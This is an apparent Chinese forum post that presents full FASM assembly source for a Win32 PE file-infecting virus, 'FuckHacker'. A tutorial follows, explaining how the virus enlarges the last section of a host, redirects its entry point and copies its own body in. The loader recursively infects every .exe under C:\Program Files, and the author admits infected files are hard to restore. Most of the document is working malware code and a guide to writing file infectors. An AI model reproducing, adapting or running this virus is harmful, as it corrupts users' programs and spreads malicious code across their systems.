xxfish
首先以一段Demo 病毒代碼來開端,
美妙的PE Virus 編寫
。下面以文章的形式來剖析感染過程。希望結交更多的Virus研究的看官。 o(∩_∩)o... 復制內(nèi)容到剪貼板代碼:
;============================================================================
;
; WIN32.FUNCKHACKER - WRITTEN BY XFISH
; (c)2009-03
;
;============================================================================
;
; DESCRIPCION
; ===========
;
; 病毒代碼采用PEB獲得kernel32基地址,然后通過hash搜索填充api函數(shù)(這里Thanks ... coban2k,Anskya), 病毒整體可
;移植到任何的宿主中,這也就是和網(wǎng)絡上目前那些通過靜態(tài)注入(感染)部分shellcode的區(qū)別... 此病毒代碼沒有加入病毒更多的
;技術,例如epo, 多態(tài)等。但是代碼我認為卻是比較精煉,尤其是Get_Apis過程,填充api方便 快捷 o(∩_∩)o...
;
; 此病毒代碼僅僅是為了作為技術研究而使用,所以我限制了傳播,在程序中,我做了僅是Loader調(diào)用 -
;感染過程,感染過程我僅僅感染Program Files目錄的所有exe文件程序代碼在宿主中僅僅調(diào)用消息框提示給用戶.....雖然說
;限制了傳播,但是感染后要恢復的話,也不是很容易,所以謹慎使用.....
;==============================================================================
format PE GUI 4.0
include 'win32ax.inc'
entry Virus_Entry
.text
;--------------------------
Virus_Flag equ 'FISH'
;--------------------------
Virus_Entry:
pushad
pushfd
call Dels
Dels:
pop ebp
sub ebp, Dels
;-------------------------
;填充Api函數(shù)地址
;-------------------------
call GetKrnl32
lea edi, [ebp + dwFuncs]
call Get_Apis
@pushsz 'user32'
call [ebp + _LoadLibraryA]
call Get_Apis
;--------------------------------
;為了沒有危害性,程序判斷了在宿主中
;不開啟感染函數(shù),這樣也就無法通過宿主
;來進行傳播,宿主僅調(diào)用提提示函數(shù) 感染
;僅在Loader中開啟.... o(∩_∩)o...
;-------------------------------
mov eax, [fs:30h]
mov eax, [eax+08h]
cmp dword [eax+2], Virus_Flag
jne .Loader
;-----------------------------------
;消息框警告用戶已經(jīng)中毒
;----------------------------------
sub edx, edx
push 30h
lea eax, [ebp + szTitle]
push eax
lea eax, [ebp + szText]
push eax
push edx
call [ebp + _MessageBoxA]
;---------------------------------------
popfd
add esp, 4*8
lea eax, [ebp + Jmp_Host]
jmp eax
.Loader:
;-------------------------
;Loader 感染過程
;-------------------------
mov edx, ebp
push '.exe'
@pushsz 'C:\Program Files'
call Inject_Disk
popfd
popad
ret
;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
;---------------------------------------------
; 獲得kernel32基地址
; input: nothing
;---------------------------------------------
GetKrnl32:
mov eax, [fs:30h]
irp offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]}
ret
;---------------------------------------------------
;獲取并填充api函數(shù)地址
;input : eax = Krnl32Base , edi = HashFuncAddress
;thanks coban2k,Anskya
;---------------------------------------------------
Get_Apis:
pushad
xchg eax, ebx
mov eax, [ebx+03ch]
mov esi, [eax+ebx+78h] ; Get Export Rva
lea esi, [esi+ebx+18h] ; get Export NumberOfFunctions
cld
lodsd ; NumberOfFunctions
xchg eax, ecx
lodsd ; AddressOfFunctions
push eax
lodsd ; AddressOfNames
add eax, ebx
xchg eax, edx
lodsd ; AddressOfNameOrdinals
add eax, ebx
xchg eax, ebp
xchg edx, esi
.Next_Func:
lodsd
add eax, ebx
xor edx, edx
.Calc_Hash:
rol edx, 3
xor dl, byte [eax]
inc eax
cmp byte [eax], 0
jnz .Calc_Hash
push edi
.Scan_dw_Funcs:
cmp [edi], edx
jnz .Skip_Function
movzx eax, word [ebp]
shl eax, 2
add eax, [esp+4]
mov eax, [eax+ebx]
add eax, ebx
scasd
stosd
.Skip_Function:
scasd
add edi, 4
sub eax, eax
cmp dword [edi], eax
jne .Scan_dw_Funcs
pop edi
add ebp, 2
loop .Next_Func
pop ecx
popad
ret
;-------------------------------------------
; 感染磁盤函數(shù)
; input: edx = dels(重定位偏移差)
;-------------------------------------------
proc Inject_Disk lpszDirectory, dwFileType
locals
@hFindFile rd 1
@stWfd WIN32_FIND_DATA
@szSearch rb 260
endl
pushad
mov ebx, edx
lea esi, [@szSearch]
push [lpszDirectory]
push esi
call [ebx + _lstrcpyA]
;---------------------------------------
;esi = @szSearch
;copy 文件路徑到 esi
;---------------------------------------
@pushsz '\*.*'
push esi
call [ebx + _lstrcatA]
lea edi, [@stWfd]
;----------------------------------------
;esi + '\*.*', edi = ptr WIN32_FIND_DATA
;---------------------------------------
push edi
push esi
call [ebx + _FindFirstFileA]
inc eax
jz .Ret
dec eax
mov [@hFindFile], eax
.repeat
pushad
mov edi, esi
xor eax, eax
mov ecx, 260
rep movsb
popad
;------------------------------
cmp byte [edi+WIN32_FIND_DATA.cFileName], '.'
je .FindNext
;------------------------------
push [lpszDirectory]
push esi
call [ebx + _lstrcpyA]
@pushsz '\'
push esi
call [ebx + _lstrcatA]
lea edx, [edi+WIN32_FIND_DATA.cFileName]
push edx
push esi
call [ebx + _lstrcatA]
;------------------------------
mov eax, [edi+WIN32_FIND_DATA.dwFileAttributes]
and eax, FILE_ATTRIBUTE_DIRECTORY
.if eax = FILE_ATTRIBUTE_DIRECTORY
mov edx, ebx
push [dwFileType]
push esi
call Inject_Disk
jmp .FindNext
.endif
;-----------------------------
; 轉換小寫
;-----------------------------
push esi
call StrLwr
push esi
call [ebx + _lstrlenA]
mov edx, [dwFileType]
cmp dword [esi+eax-4], edx
jne .FindNext
;-----------------------------
; 進行感染工作
;-----------------------------
mov eax, esi
call Inject_File
.FindNext:
push edi
push [@hFindFile]
call [ebx + _FindNextFileA]
.until eax = 0
push [@hFindFile]
call [ebx + _FindClose]
.Ret:
popad
ret
endp
;----------------------------------------
; 字符串轉換小寫函數(shù)
;----------------------------------------
proc StrLwr uses esi edi, pString
mov esi, [pString]
mov edi, esi
@@:
lodsb
test al, al
je @f
.if al >= 'A' & al <= 'Z'
or al, 20h
stosb
jmp @b
.endif
stosb
jmp @b
@@:
ret
endp
;---------------------------------------
;input: eax - 對齊的值, ecx - 對齊因子
;
;Ouput: eax - 對齊值
;---------------------------------------
Align_Size:
pushad
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
mov [esp+4*7], eax
popad
ret
;--------------------------------------
;感染過程
;input: eax - 文件路徑
;
;OuPut: nothing
;---------------------------------------
Inject_File:
pushad
sub edx, edx
;---------------------------------
;mov ebp, ebx .... ebp = dels
;---------------------------------
mov ebp, ebx
push edx
push edx
push OPEN_EXISTING
push edx
push FILE_SHARE_READ
push GENERIC_WRITE or GENERIC_READ
push eax
call [ebp + _CreateFileA]
inc eax
jz .Open_Faild
dec eax
xchg eax, ebx
;---------------------
;ebx - 文件句柄
;---------------------
xor edx, edx
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push ebx
call [ebp + _CreateFileMappingA]
test eax, eax
jz .OpenMap_Faild
xchg eax, esi
;-----------------------
;esi - 文件映射句柄
;-----------------------
sub edx, edx
push edx
push edx
push edx
push FILE_MAP_WRITE
push esi
call [ebp + _MapViewOfFile]
test eax, eax
jz .MapFile_Faild
xchg eax, edi
;-----------------------
;edi - 文件映射內(nèi)存偏移
;-----------------------
cmp word [edi], 'MZ'
jnz .Ret
cmp dword [edi+2], Virus_Flag
jz .Ret
push 0
push ebx
call [ebp + _GetFileSize]
add eax, Virus_Size
mov edx, [edi+3ch]
add edx, edi
push dword [edx+3ch]
pop ecx
call Align_Size
;-----------------------
;eax - 文件對齊大小
;-----------------------
pushad
push edi
call [ebp + _UnmapViewOfFile]
push esi
call [ebp + _CloseHandle]
popad
push eax
xor edx, edx
push edx
push eax
push edx
push PAGE_READWRITE
push edx
push ebx
call [ebp + _CreateFileMappingA]
pop ecx
or eax, eax
jz .OpenMap_Faild
xchg eax, esi
;-----------------------
;esi - 文件映射句柄
;ecx - 文件對齊大小
;-----------------------
sub edx, edx
push ecx
push edx
push edx
push FILE_MAP_WRITE
push esi
call [ebp + _MapViewOfFile]
test eax, eax
jz .MapFile_Faild
xchg eax, edi
;-----------------------
;edi - 文件映射內(nèi)存偏移
;-----------------------
mov edx, [edi+3ch]
cmp word [edx+edi], 'PE'
jnz .Ret
;-----------------------
;edx - PE頭結構偏移
;ecx - 節(jié)表數(shù)量-1的大小
;eax - 數(shù)據(jù)目錄段大小
;-----------------------
add edx, edi
movzx ecx, word [edx+06h]
dec ecx
imul ecx, ecx, 28h
mov eax, [edx+74h]
shl eax, 3
;-------------------------
;edx - 指向末尾節(jié)表位置
;-------------------------
add edx, 78h
add edx, ecx
add edx, eax
;----------------------------------------
;ecx = SizeOfRawData + pointerToRawData
;----------------------------------------
mov ecx, [edx+14h]
add ecx, [edx+10h]
push ecx
;---------------------------------------
;New ep = SizeOfRawData + virtual address
; eax = [edx+10h] + [edx+0ch]
;---------------------------------------
mov eax, [edx+10h]
add eax, [edx+0ch]
;---------------------------------------
; 計算jmp相對偏移值,然后寫入
;---------------------------------------
mov ecx, [edi+3ch]
pushad
xchg eax, edx
add edx, Jmp_Size
mov eax, [ecx+edi+28h]
sub eax, edx
mov [ebp + Jmp_Addr], eax
popad
;-----------------------------------
;[ecx+edi+28h] = AddressOfEntryPoint
;-----------------------------------
mov [ecx+edi+28h], eax
;-----------------------------
;[edx+10h] - SizeOfRawData
;[ecx+edi+3ch] - File Aligment
;----------------------------
mov eax, [edx+10h]
add eax, Virus_Size
mov ecx, [edi+3ch]
mov ecx, [ecx+edi+3ch]
call Align_Size
;-----------------------------
;[edx+10h] - SizeOfRawData
;[edx+08h] - VirtualSize
;[ecx+edi+50h] - SizeOfImage
;0A0000020h - 可讀可寫的節(jié)屬性
;------------------------------
mov [edx+10h], eax
mov [edx+08h], eax
;-----------eax + virtual address--------
add eax, [edx+0ch]
mov ecx, [edi+3ch]
mov [ecx+edi+50h], eax
or dword [edx+24h], 0A0000020h
mov dword [edi+2], Virus_Flag
pop eax ;取出臨時存儲
;-----------------------------------
pushad
xchg eax, esi
add esi, edi
xchg esi, edi
lea esi, [ebp + Virus_Entry]
mov ecx, Virus_Size
rep movsb
popad
.Ret:
push edi
call [ebp + _UnmapViewOfFile]
.MapFile_Faild:
push esi
call [ebp + _CloseHandle]
.OpenMap_Faild:
push ebx
call [ebp + _CloseHandle]
.Open_Faild:
popad
ret
; ----------------------------------------------
; Jmp HostAddress
Jmp_Host:
jmp 12345678
Jmp_Addr = $ - 4
Jmp_Size = $ - Virus_Entry
; ----------------------------------------------
;--------------------------------------------------------------
szText db 'Win32 PE Virus Demo, The Worm Name Is FuckHacker o(∩_∩)o.........', 0
szTitle db 'Win32 PE Virus Demo', 0
dwFuncs:
RolHash _lstrcpyA, 'lstrcpyA'
RolHash _lstrcatA, 'lstrcatA'
RolHash _lstrlenA, 'lstrlenA'
;RolHash _CreateThread, 'CreateThread'
;RolHash _CreateEventA, 'CreateEventA'
;RolHash _GetLastError, 'GetLastError'
;RolHash _ExitThread, 'ExitThread'
RolHash _FindFirstFileA, 'FindFirstFileA'
RolHash _FindNextFileA, 'FindNextFileA'
RolHash _FindClose, 'FindClose'
RolHash _CreateFileA, 'CreateFileA'
RolHash _WriteFile, 'WriteFile'
RolHash _ReadFile, 'ReadFile'
RolHash _GetFileSize, 'GetFileSize'
RolHash _CloseHandle, 'CloseHandle'
RolHash _LoadLibraryA, 'LoadLibraryA'
RolHash _GetProcAddress, 'GetProcAddress'
RolHash _MapViewOfFile, 'MapViewOfFile'
RolHash _CreateFileMappingA, 'CreateFileMappingA'
RolHash _UnmapViewOfFile, 'UnmapViewOfFile'
RolHash _MessageBoxA, 'MessageBoxA'
rd 4
;----------------------------------------------------------
Virus_Size = $ - Virus_Entry文章Begin:
大家再看到這篇文章的標題時應該會對“美妙”一詞感到疑惑,怎么我會以美妙來修飾,
電腦資料
《美妙的PE Virus 編寫》(http://www.lotusphilosophies.com)。大家不必驚訝,沒錯,它的確是美妙的,因為在這里你可以施展自己的擴展性思維,讓你的代碼發(fā)展的淋漓盡致,還有比這個更美妙的嗎?至于病毒編寫需要的一些前置知識,今天這篇文章我就不想過多講解了。例如PE結構的知識、重定位、Hash搜索API函數(shù)地址等。如果哪位朋友覺得自己不具備上面說的這些基礎知識,那最好還是補習下。
首先我們都知道,我們的win32可執(zhí)行文件格式就是PE文件結構,那么我們感染對象也就是PE文件結構。所以我這里至少認為你對PE文件結構已經(jīng)是很熟悉了。好,繼續(xù),今天我們的感染方式是擴展末尾節(jié),因為它很簡單、穩(wěn)定、快捷。那么擴展末尾節(jié)顧名思義就是針對被感染對象的最后一個節(jié)的擴展。將尾部節(jié)的大小擴充,然后將我們的病毒代碼Write進去,修改若干的PE結構成員。 知道這些,你肯定會問修改哪些若干成員,為了給大家更直白的感覺,下面我列出了感染中需要修改的結構成員。
1. SizeOfImage 50h
2. SizeOfRawData 10h
3. VirtualSize 08h
4. Characteristics 24h
5. AddressOfEntryPoint 28h
6. e_cblp + e_cp 02h ;4字節(jié)感染標記,利用你的創(chuàng)造性,來吧。
后面給出的數(shù)值則是這些成員相對于結構的偏移。這是為了我們后面的寫Raw代碼時候的方便。呼呼。
那么接下來大家來看下我們的感染過程。 復制內(nèi)容到剪貼板
代碼:
;--------------------------------------
;感染過程
;input: eax - 文件路徑
;
;OuPut: nothing
;---------------------------------------
Inject_File:
pushad
sub edx, edx
;---------------------------------
;mov ebp, ebx .... ebp = dels
;---------------------------------
mov ebp, ebx
push edx
push edx
push OPEN_EXISTING
push edx
push FILE_SHARE_READ
push GENERIC_WRITE or GENERIC_READ
push eax
call [ebp + _CreateFileA]
inc eax
jz .Open_Faild
dec eax
xchg eax, ebx
;---------------------
;ebx - 文件句柄
;---------------------
xor edx, edx
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push ebx
call [ebp + _CreateFileMappingA]
test eax, eax
jz .OpenMap_Faild
xchg eax, esi
;-----------------------
;esi - 文件映射句柄
;-----------------------
sub edx, edx
push edx
push edx
push edx
push FILE_MAP_WRITE
push esi
call [ebp + _MapViewOfFile]
test eax, eax
jz .MapFile_Faild
xchg eax, edi
;-----------------------
;edi - 文件映射內(nèi)存偏移
;-----------------------
cmp word [edi], 'MZ'
jnz .Ret
cmp dword [edi+2], Virus_Flag
jz .Ret
push 0
push ebx
call [ebp + _GetFileSize]
add eax, Virus_Size
mov edx, [edi+3ch]
add edx, edi
push dword [edx+3ch]
pop ecx
call Align_Size
;-----------------------
;eax - 文件對齊大小
;-----------------------
pushad
push edi
call [ebp + _UnmapViewOfFile]
push esi
call [ebp + _CloseHandle]
popad
push eax
xor edx, edx
push edx
push eax
push edx
push PAGE_READWRITE
push edx
push ebx
call [ebp + _CreateFileMappingA]
pop ecx
or eax, eax
jz .OpenMap_Faild
xchg eax, esi
;-----------------------
;esi - 文件映射句柄
;ecx - 文件對齊大小
;-----------------------
sub edx, edx
push ecx
push edx
push edx
push FILE_MAP_WRITE
push esi
call [ebp + _MapViewOfFile]
test eax, eax
jz .MapFile_Faild
xchg eax, edi
;-----------------------
;edi - 文件映射內(nèi)存偏移
;-----------------------
mov edx, [edi+3ch]
cmp word [edx+edi], 'PE'
jnz .Ret
;-----------------------
;edx - PE頭結構偏移
;ecx - 節(jié)表數(shù)量-1的大小
;eax - 數(shù)據(jù)目錄段大小
;-----------------------
add edx, edi
movzx ecx, word [edx+06h]
dec ecx
imul ecx, ecx, 28h
mov eax, [edx+74h]
shl eax, 3
;-------------------------
;edx - 指向末尾節(jié)表位置
;-------------------------
add edx, 78h
add edx, ecx
add edx, eax
;----------------------------------------
;ecx = SizeOfRawData + pointerToRawData
;----------------------------------------
mov ecx, [edx+14h]
add ecx, [edx+10h]
push ecx
;---------------------------------------
;New ep = SizeOfRawData + virtual address
; eax = [edx+10h] + [edx+0ch]
;---------------------------------------
mov eax, [edx+10h]
add eax, [edx+0ch]
;---------------------------------------
; 計算jmp相對偏移值,然后寫入
;---------------------------------------
mov ecx, [edi+3ch]
pushad
xchg eax, edx
add edx, Jmp_Size
mov eax, [ecx+edi+28h]
sub eax, edx
mov [ebp + Jmp_Addr], eax
popad
;-----------------------------------
;[ecx+edi+28h] = AddressOfEntryPoint
;-----------------------------------
mov [ecx+edi+28h], eax
;-----------------------------
;[edx+10h] - SizeOfRawData
;[ecx+edi+3ch] - File Aligment
;----------------------------
mov eax, [edx+10h]
add eax, Virus_Size
mov ecx, [edi+3ch]
mov ecx, [ecx+edi+3ch]
call Align_Size
;-----------------------------
;[edx+10h] - SizeOfRawData
;[edx+08h] - VirtualSize
;[ecx+edi+50h] - SizeOfImage
;0A0000020h - 可讀可寫可執(zhí)行的節(jié)屬性
;------------------------------
mov [edx+10h], eax
mov [edx+08h], eax
;-----------eax + virtual address--------
add eax, [edx+0ch]
mov ecx, [edi+3ch]
mov [ecx+edi+50h], eax
or dword [edx+24h], 0A0000020h
mov dword [edi+2], Virus_Flag
pop eax ;取出臨時存儲
;-----------------------------------
pushad
xchg eax, esi
add esi, edi
xchg esi, edi
lea esi, [ebp + Virus_Entry]
mov ecx, Virus_Size
rep movsb
popad
.Ret:
push edi
call [ebp + _UnmapViewOfFile]
.MapFile_Faild:
push esi
call [ebp + _CloseHandle]
.OpenMap_Faild:
push ebx
call [ebp + _CloseHandle]
.Open_Faild:
popad
ret
; ----------------------------------------------
; Jmp HostAddress
Jmp_Host:
jmp 12345678
Jmp_Addr = $ - 4
Jmp_Size = $ - Virus_Entry
; ----------------------------------------------好了,接下來我們就來分析我們的感染函數(shù)吧,由于我的這個感染過程是在我的感染磁盤函數(shù)中調(diào)用的, 感染磁盤函數(shù)中我聲明了局部變量,更由于我的重定位偏移差是存在ebp寄存器的,所以在感染磁盤函數(shù)我不得以使用了ebx來存儲重定位偏移差,所以這個函數(shù)的第一句匯編指令也就是將ebx的值賦給ebp。我想大家應該都看到了, 感染過程中我們使用的是ebp來作為重定位偏移差。首先程序調(diào)用CreateFile打開我們的被感染目標,然后通過創(chuàng)建文件映射對象,調(diào)用MapViewOfFile將文件映射到內(nèi)存中。然后判斷是否是PE文件格式以及是否被感染,程序此時獲得被感染文件大小 + 病毒大小,讀取文件對齊值,調(diào)用我們的對齊函數(shù)獲得我們對齊后的文件大小。這里為什么要獲得文件對齊后的大小呢,由于的文件各個節(jié)表的大小在磁盤中都是基于我們的文件對齊值的,這也是為何我們平常做免殺的時候能有地方能寫入我們的匯編指令以及為何我們的一些病毒采用搜索空隙插入數(shù)據(jù)的原因,所以我們必須調(diào)用Align_Size獲得對齊文件大小,通過對齊后的大小來擴展(為什么?看前面那)。那么我們來看下Align_Size這個過程,不要說你沒有學過數(shù)學。
;---------------------------------------
;input: eax - 對齊的值, ecx - 對齊因子
;
;Ouput: eax - 對齊值
;---------------------------------------
Align_Size:
pushad
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
mov [esp+4*7], eax
popad
ret
; 首先求我們對齊因子基于對齊值的余數(shù),這樣通過對齊因子減去余數(shù),得到的值則是能被整除的。通過對齊的值+能被整除的值,則為對齊值?纯催@個Align宏或許能對你有點啟發(fā)。macro align value { rb (value-1)-($+value-1) mod value }。
獲得對齊文件大小后,我們UnMap掉映射文件,然后關閉文件映射對象。因為我們等下需要以指定的大小(也就是剛剛我們獲得的對齊文件大小)來創(chuàng)建文件映射對象,這樣就免得我們通過SetEndOfFile函數(shù)來增加我們的文件長度了。緊接著我們以指定的文件大小來創(chuàng)建文件映射對象并映射到內(nèi)存。然后判斷是否是PE文件,此時獲得PE Header頭結構的偏移(應該大部分地球人都知道如何獲得吧),由于我們要定位最后一個節(jié)表的偏移,所以此時我們要通過PE Header的偏移 + 78 來到數(shù)據(jù)目錄段后再 + [NumberOfRvaAndSizes]*8 + [NumberOfSections - 1]* 28 。因為我們事先不知道對方的程序是否做過優(yōu)化或者是否有幾個數(shù)據(jù)目錄結構。所以我們需要讀取它的數(shù)量*數(shù)據(jù)目錄的結構大小來定位節(jié)表。那么+ [NumberOfSections - 1]* 28 我想大家應該也知道了吧,因為我們要定位末尾節(jié)表偏移,所以+ [節(jié)數(shù)量-1]*節(jié)表結構的字節(jié)大小。好了我們此時已經(jīng)來到末尾節(jié)表的位置了。因為我們要將我們的病毒體整個寫入到我們末尾節(jié)的尾部(這里的尾部指的是它代碼后面),所以我們需要定位末尾節(jié)它代碼大小后面的偏移。我們通過節(jié)表中的SizeOfRawData + pointerToRawData來定位 (不知道這兩個成員是分別做什么用的嗎?是文件在磁盤的物理偏移和大。。好了,我們?nèi)绻胍覀兊某绦驈奈覀儗懭氲钠崎_始執(zhí)行,我們需要修改被感染程序的OEP,也就是PE Header結構的AddressOfEntryPoint。但是我們需要注意的一點是這個成員是RVA地址,也就是映射到內(nèi)存后基于基地址的偏移。所以我們需要以節(jié)表映射到內(nèi)存的偏移 + 原始節(jié)在磁盤中的字節(jié)大小。 不用說肯定是節(jié)表的SizeOfRawData + virtual address了。 OK,此時我們可以將兩個成員相加后得到偏移寫入到AddressOfEntryPoint成員了。。
接下來我說下如何計算jmp 到oep的相對偏移,因為我們都知道我們jmp 到一個地址,實際上編譯器編譯后是寫入的是我們jmp本身所處的地址基于要跳向地址的偏移,它是一個相對偏移,那么我們?nèi)绾蝸碛嬎氵@個相對偏移呢?我們新Oep偏移跳轉到之前程序的OEP,這肯定是一個long跳轉也就是5字節(jié)的。如果我們僅僅是從低地址跳向高地址,那么直接通過高地址 – 低地址的偏移 -5就可以了。 但是我們是高地址跳向低地址。所以我們通過低地址 – 高地址 得到補碼后 – 5則為我們高地址基于低地址的偏移。因為很懶的緣故吧,所以我通過新OEP +5字節(jié)后,在通過原Oep – 新Oep。得到值則為新Oep相對原Oep的偏移。然后就可以將這個4字節(jié)值寫入到我們jmp 后面的偏移了。
這時候我們計算我們新的SizeOfRawData成員值,這個值我就不想多說了吧。原SizeOfRawData+病毒大小。然后調(diào)用 對齊函數(shù),獲得對齊后的大小寫入進去。VirtualSize是我們節(jié)映射到內(nèi)存的大小,所以這個成員我們也直接寫入對齊后的SizeOfRawData值就可以了。接下來就是我們的SizeOfImage成員 它是映像文件映射到內(nèi)存的總大小,我們直接通過SizeOfRawData + VirtualAddress的大小來計算就可以了。
好了,重要的成員我們都修改完成了,接下來就是我們的寫入工作了。很簡單,直接rep movsb就OK了。。
好了到這里感染過程就基本上給大家解釋完了。一切皆因興趣...........